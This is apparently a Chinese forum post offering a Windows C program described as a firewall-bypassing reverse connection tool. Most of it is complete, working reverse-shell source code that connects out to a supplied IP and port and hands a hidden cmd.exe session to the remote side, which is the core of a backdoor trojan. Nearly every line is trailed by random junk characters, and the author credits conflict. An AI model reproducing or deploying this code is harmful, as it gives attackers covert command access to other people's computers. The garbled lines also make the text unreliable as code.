这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 LCSvw
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/* ============================== 6~sU[thGW
Rebound port in Windows NT 5/Qu5/
By wind,2006/7 +F q_w
===============================*/ rrz([2E2
#include c3GBY@m
#include `Njvk
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#pragma comment(lib,"wsock32.lib") zgz!"knVx
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void OutputShell(); J-/w{T8:
SOCKET sClient; 9{4oz<U
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8x-19#
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void main(int argc,char **argv) cWo>DuW&
{ 4L:O0Ggz}
WSADATA stWsaData; ~S<aIk0l
int nRet; hiibPc?I
SOCKADDR_IN stSaiClient,stSaiServer; omg#[
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if(argc != 3) QOK,-
{ >yKz8SV#
printf("Useage:\n\rRebound DestIP DestPort\n"); E[#VWM
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return; ]&H"EHC<$
} ;%d<Uk?
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WSAStartup(MAKEWORD(2,2),&stWsaData); TrzAgNt
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /ojx$Um
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stSaiClient.sin_family = AF_INET; Mi#i 3y(
stSaiClient.sin_port = htons(0); lr4wz(q<9
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7_PY%4T"
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Uhr2"Nuuy
{ eI"pRH*f
printf("Bind Socket Failed!\n"); %\-E
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return; ;o'r@4^&$R
} u=Ik&^v
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stSaiServer.sin_family = AF_INET; 59{X;
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7b08Lo7b
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ZHjL8Iq
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ECA<%'$?E
{ cH*")oD
printf("Connect Error!"); 5qH*"i+|s
return; V*PL_|Q5
} n%29WF6Zf
OutputShell(); )V~=B]
} 4v/MZ:%C`
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void OutputShell() @Ol(:{<
{ t O.5
char szBuff[1024]; !AJkd.
SECURITY_ATTRIBUTES stSecurityAttributes; f6K.F
OSVERSIONINFO stOsversionInfo; ~5N
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; fQC{LcS
STARTUPINFO stStartupInfo; ^%zhj3#
char *szShell; , @UOj=
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; smfI+Z S"
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (_4DZMf
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?Xvy0/s5
stSecurityAttributes.lpSecurityDescriptor = 0; vE^tdzAG
stSecurityAttributes.bInheritHandle = TRUE; Cp/f18zO
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J;Z2<x/H
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); O<Q8%Az
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); E \DA3lq
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iii|;v]+
stStartupInfo.wShowWindow = SW_HIDE; )aGSZ1`/
stStartupInfo.hStdInput = hReadPipe; wHs1ge (
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ws9IO ?|&G
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GetVersionEx(&stOsversionInfo); 1|4,jm $
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switch(stOsversionInfo.dwPlatformId) R+NiIoa
{ Ws|`E`6O
case 1: V:L%GWU
szShell = "command.com"; DFWO5Y_
break; h_#=f(.'j
default: b9X*2pnWJ
szShell = "cmd.exe"; aR6F%7gvz
break; uU3A,-{-
} ,.0bE
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); h-1?c\Qq:
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send(sClient,szMsg,77,0); ou-UR5
while(1) l90"1I A
{ :!g|pd[{ag
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v
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if(lBytesRead) ;DK%!."%
{ DNq(\@x[!
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); s*la`(x
send(sClient,szBuff,lBytesRead,0); l[:Aq&[o3
} >-N(o2j3
else 1}a4AGAp
{ R]X 0D.
lBytesRead=recv(sClient,szBuff,1024,0); t}_ #N'`
if(lBytesRead<=0) break; *'{-!Y
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3<W%z]k@M
} rWL;pM<
} MBg[hu%
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return; ?< b{
}